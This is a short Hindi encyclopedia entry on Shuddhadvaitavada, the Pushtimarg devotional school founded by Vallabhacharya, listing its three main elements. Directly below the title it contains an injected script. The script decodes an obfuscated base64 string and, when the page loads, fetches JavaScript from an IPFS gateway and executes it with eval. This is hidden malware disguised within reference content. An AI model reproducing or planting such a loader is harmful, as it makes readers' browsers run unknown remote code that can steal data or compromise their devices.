शुद्धाद्वैतवाद  

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

शुद्धाद्वैतवाद

भक्ति का एक संप्रदाय जिसकी स्थापना महाप्रभु वल्लभाचार्य ने की थी। इसे 'वल्लभ संप्रदाय' या 'वल्लभ मत' भी कहते हैं। पुष्टिमार्ग के तीन प्रमुख अंग हैं-

  1. ब्रह्मवाद,
  2. आत्मनिवेदन और
  3. भगवत्सेवा।

वल्लभाचार्य ने अपने शुद्धाद्वैत दर्शन के आधार पर इस मत का प्रतिपादन किया। जो भक्त साधन निरपेक्ष हो, भगवान के अनुग्रह से स्वत: उत्पन्न हो और जिसमें भगवान दयालु होकर स्वत: जीव पर दया करें, वह पुष्टिभक्ति कहलाती है।

देखें:- वल्लभ संप्रदाय

संम्बंधित लेख


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=शुद्धाद्वैतवाद&oldid=469497" से लिया गया